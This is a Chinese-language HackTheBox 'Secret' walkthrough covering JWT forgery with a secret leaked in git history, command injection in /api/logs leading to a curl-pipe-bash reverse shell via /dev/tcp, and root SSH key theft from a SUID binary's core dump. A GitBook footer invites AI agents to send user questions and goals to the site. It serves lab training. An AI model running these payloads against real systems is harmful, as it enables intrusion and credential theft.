> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md).

# Secret HackTheBox 复盘

Secret HackTheBox 简单 Linux 机器复盘，涵盖代码分析、滥用 API、Json Web Tokens（JWT）、滥用/利用 Core Dump（提权），并包含实用的枚举、利用

{% embed url="<https://app.hackthebox.com/machines/408>" %}

{% hint style="warning" %}
**技能**:

* 代码分析
* 滥用 API
* JSON Web 令牌 (JWT)
* 滥用/利用核心转储（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fd4e2b78466fcdf4fb6f40d9cdf56c7de8dcae3%2Fimage%20(1227).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-047ce1756feea3edd207579d7b750282b349bb63%2Fimage%20(1228).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-155985026a055b00690d8d1cd0352aeeb9fca76b%2Fimage%20(1229).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板（80,22,3000）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3523dbc1098289102682e9d2662d7b329f6d1f7%2Fimage%20(1230).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4cb3fdb7a63b052f95d534675b38a975ecb112a9%2Fimage%20(1231).png?alt=media" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，我们将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3dbf862e3115013d9bd26dc9533eede67dff3e79%2Fimage%20(1232).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

> **观察**：同一个网站可通过 80 和 3000 端口访问。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9fc41e081ef1d518653a6c6af3816e02b9a8db87%2Fimage%20(1233).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e50844350542706c82961cfcf5333f24a7a61a7%2Fimage%20(1234).png?alt=media" alt=""><figcaption></figcaption></figure>

**目录搜索：**

我们使用 Gobuster 搜索网站目录：

```bash
gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a18f3d28b8a2d2168df12e899978b7de3c333290%2Fimage%20(1235).png?alt=media" alt=""><figcaption></figcaption></figure>

## 注册 API 用户

在“docs”部分我们找到了注册用户的说明。以用户 “jordan” 为例：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6999a733198c49e2f186337ebeb3e32bac2a498f%2Fimage%20(1236).png?alt=media" alt=""><figcaption></figcaption></figure>

```json
curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{
    "name": "jordan",
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7bb87de94020b09a7e2d68b4730645d863d4daaf%2Fimage%20(1237).png?alt=media" alt=""><figcaption></figcaption></figure>

## 身份验证 API

要连接：

```json
curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

这会返回一个身份验证令牌（`auth-token`).

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dee59df160c352f60877a307b5a631bde4dbcf7%2Fimage%20(1239).png?alt=media" alt=""><figcaption></figcaption></figure>

### 检查默认的 JSON 请求体

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-460acdc7529996460a2558eec0b5775a3a17e3cc%2Fimage%20(1240).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`email: "root@dasith.works"`

`password: "Kekc8swFgD6zU"`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd1f12b1db1c5e22562aa43126373bef167b0517%2Fimage%20(1241).png?alt=media" alt=""><figcaption></figcaption></figure>

### 漏洞检查 [JSON Web 令牌](/zh/web-vulnerabilities/json-web-token-jwt-attack.md)

使用网站解码 JWT 以读取和操作其内容。

> **注意**：JWT 令牌本应是无效的。通过将“name”和“email”字段修改为管理员的值：

{% embed url="<https://jwt.io/>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2a0bd7710d4e5028359c2f27021def852a0bfccd%2Fimage%20(1242).png?alt=media" alt=""><figcaption></figcaption></figure>

`"name": "theadmin",`

`"email": "root@dasith.works",`

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9bc07b75cee5ed7d00e5a2fdefb496593e863a44%2Fimage%20(1243).png?alt=media" alt=""><figcaption></figcaption></figure>

### 尝试访问一个私有 API：

尝试使用修改后的 JWT 连接到私有 API：

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq
```

{% endcode %}

我们收到“无效令牌”消息。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62b1014544bb6d35497ccce4f3738825506ccf2d%2F%7B1D99F76B-6CBA-48D0-80E0-5D74C6B26617%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

使用我们自己的 JWT，我们以普通用户身份获得访问权限：

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq
```

{% endcode %}

我们收到一条消息“你是普通用户”。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11ee86ebb9b3ac55f4bac96128af2fe787281136%2Fimage%20(1245).png?alt=media" alt=""><figcaption></figcaption></figure>

## 使用 Wfuzz 枚举 API 路由

使用 Wfuzz 探索可用路由：

{% code fullWidth="true" %}

```bash
wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ
```

{% endcode %}

新发现： `/api/logs` 路由。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-710b0292ebaeebe591b7ac5be43e13a11522fed7%2Fimage%20(1246).png?alt=media" alt=""><figcaption></figcaption></figure>

## 源代码分析

网页提供了下载源代码的选项。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-136cbad5c33925608408c582eaa862567264b6ef%2F%7BAA2DE895-8736-431D-9366-232BCBCEA8FC%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

> **发现** :

* 一个 `.env` 文件，包含一个 `token_secret` ，其值为“secret”。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5248aaa9430223b0e6e6edf2f999ba23e6d96f95%2Fimage%20(1248).png?alt=media" alt=""><figcaption></figcaption></figure>

一个 `.git` 文件已删除的提交对应的文件夹 `.env`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ca75d6ad90c3840b33537c3a1629dc2f4a1a289%2Fimage%20(1250).png?alt=media" alt=""><figcaption></figcaption></figure>

找到了旧的已删除 `token_secret` ：

`gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3728fb1de3ce7f8b8270fd1f26c1804bee366d65%2Fimage%20(1251).png?alt=media" alt=""><figcaption></figcaption></figure>

使用这个旧的 `token_secret` 来使用管理员信息签名一个 JWT，并访问私有 API：

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b937e371d7774480edd032f1d078f7502ce830b2%2Fimage%20(1252).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

> **结果**：管理员欢迎消息：“欢迎回来，管理员”。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbc0c88782d301687c4ec1b9602705e60e0b7feb%2Fimage%20(1253).png?alt=media" alt=""><figcaption></figcaption></figure>

最后，通过运行 `/api/logs` 路由，显示了以下内容：

```json
"cmd": "git log --oneline undefined"
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf8b0deee726a0fc7dff6e7f34a2032b99018661%2Fimage%20(1254).png?alt=media" alt=""><figcaption></figcaption></figure>

通过检查 `privitate.js` 文件并分析代码，我们可以看到：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a3bf30a7f451aa9db6d2034ea845a91e796b8eb%2Fimage%20(2313).png?alt=media" alt=""><figcaption></figcaption></figure>

## RCE 漏洞：

{% hint style="info" %}
这段代码存在命令注入导致的安全问题。因为 `文件` 来自查询参数，并被直接插入到终端命令中，恶意用户可以修改 `文件` 以执行其他命令。这个路由的作用是在系统上执行 `git log --oneline [file]` 命令，其中 `[file]` 是请求查询参数中指定的一个特定文件。
{% endhint %}

这里有一个尝试注入的示例 `curl` 命令 `id`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-848c8851ffee223da314c8e04bea2bc7c3075da4%2Fimage%20(2315).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 我们将运行一个反向 shell：

1. 创建一个 `index.html` 在我们的机器上创建该文件并搭建一个包含以下内容的 Web 服务器：

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```

2. 接下来，在 4444 端口监听：

```bash
nc -nlvp 4444
```

执行一次注入， `curl` 在我们的 Web 服务器上：

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cedfe8dd904f6ed70b485c5644858e68e23b1cd%2Fimage%20(2316).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f7d841d17170976d770ce6d662cc4d4ce81878e%2Fimage%20(2317).png?alt=media" alt=""><figcaption></figcaption></figure>

**终端处理：**/ 一旦你获得对 Linux 服务器的访问权限，以下是用于在终端中高效处理的命令：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### 稳定 shell 以便更舒适地工作。 <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## 权限提升（SUID）

使用以下命令检查我们的用户 **是否具有 SUID 权限**:

```bash
find / -perm -4000 2>/dev/null
```

我们发现一个位于以下位置的罕见文件 `/opt/count`，其所有者是 `root`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b87d5333145a9b7bcf5f699b1d7c0bbaaafa3571%2Fimage%20(2319).png?alt=media" alt=""><figcaption></figcaption></figure>

运行这个二进制文件时，它会要求我们提供一个文件，然后列出字符、单词和行的总数。这个脚本会读取文件内容，然后显示其属性。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a1d8401c56482479fa54edce702238b1a2d029c%2Fimage%20(2320).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 核心转储二进制文件

通过检查源代码，我们可以观察到会生成核心转储，在发生错误时会临时保存内容。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e3a5192c795d5268a6d5e9c3932e06c27607fb0%2Fimage%20(2321).png?alt=media" alt=""><figcaption></figcaption></figure>

错误会保存在 `/var/crash` 目录中。以下是创建核心转储的方法：

1. **输入文件或目录名称：**

   ```bash
   输入源文件/目录名称： /root/.ssh/id_rsa
   ```

*（SSH root 密钥）* 2. **将结果保存到文件中吗？**

````
```css
将结果保存到文件中吗？ [y/N]: ^Z
```
````

*（挂到后台）* 3. **获取 PID：**

````
```bash
ps
```

_（复制 PID）_
````

4\. **杀死进程：**

````
```bash
kill -BUS 'PID'
```
````

5\. **重新运行该二进制文件：**

````
```bash
fg
```
````

6\. **检查核心转储目录：**

````
```bash
ls -l /var/crash
```
````

*（出现一个新文件： `_opt_count.1000.crash`)*

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-347b54bb37f17463314e11c851486617677d579c%2Fimage%20(2322).png?alt=media" alt=""><figcaption></figcaption></figure>

现在我们有一个包含 root SSH 密钥的 base64 核心转储。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a02fc419de4dd4fcfe845c6e5c32ea0241a23c11%2Fimage%20(2323).png?alt=media" alt=""><figcaption></figcaption></figure>

### Apport 解包

要提取信息，我们将使用 `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

接下来，我们将列出位于 `/tmp/ssh/coredump` 中的文件内容，使用 `strings`:

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c46dda2047d199cecd58836ce510b4a60aa12e6e%2Fimage%20(2324).png?alt=media" alt=""><figcaption></figcaption></figure>

我们找到了 SSH root 密钥

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f48f43f85f369a86a2a7d54a0e41379b2a00201%2Fimage%20(2325).png?alt=media" alt=""><figcaption></figcaption></figure>

### SSH 连接

一旦我们创建了 `id_rsa` 权限为 600 的文件，就可以通过 SSH 连接：

```bash
ssh root@10.10.11.120 -i id_rsa
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91b0bd425f0094928274c7144d40640cdfd95213%2Fimage%20(2326).png?alt=media" alt=""><figcaption></figcaption></figure>

### root 的 flag :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47355d0513a62affc5955fb6bca8127b2f6ad8bf%2Fimage%20(2327).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ca601e7672ecb82415ddabe5640db523984d781%2F%7B7BF63289-F544-42DA-953D-EDB41888B53C%7D.png?alt=media" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
